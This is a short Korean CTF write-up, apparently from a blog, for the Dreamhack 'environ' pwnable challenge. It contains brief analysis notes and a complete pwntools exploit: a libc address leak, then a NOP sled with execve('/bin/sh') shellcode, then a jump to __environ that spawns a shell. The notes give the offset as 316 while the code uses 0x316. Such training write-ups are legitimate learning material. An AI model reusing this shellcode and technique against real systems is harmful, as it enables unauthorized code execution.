코드 분석

- std주소 제공
- libc파일 제공 => libc 베이스 구하기

nx 비활성화 => stack 실행 가능
read로 쉘코드 넣은 후 environ주소를 call하자

buf의 위치는 rbp -20이다

environ과 buf의 차이는 316이므로 \x90으로 316만큼 채우고 shellcode를 뒤에 붙이자
익스플로잇코드를 짜자
from pwn import *
p = remote("host3.dreamhack.games", 10165)
e = ELF("./environ")
libc = ELF("libc.so.6")
p.recvuntil(b": ")
stdout = int(p.recvline()[:-1], 16)
libc_base = stdout - libc.sym['_IO_2_1_stdout_']
environ= libc_base + libc.sym['__environ']
payload = b"\x90" * 0x316 + b"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
p.recvuntil(b'Size: ')
p.sendline(str(0x316 + 24))
p.recvuntil(b'Data: ')
p.sendline(payload)
p.recvuntil(b"*jmp=")
p.sendline(str(environ))
p.interactive()

'CTF > Pwnable' 카테고리의 다른 글
| [Dreamhack] off_by_one_000 Write-up (0) | 2024.04.07 |
|---|---|
| [DreamHack] cpp_string Write-up (0) | 2024.04.07 |
| [DreamHack] checkflag Write-up (0) | 2024.03.31 |
| [Dreamhack] blindsc Write-up (0) | 2024.03.31 |
| [DreamHack] Bypass IO_validate_vtable Write-up (0) | 2024.03.31 |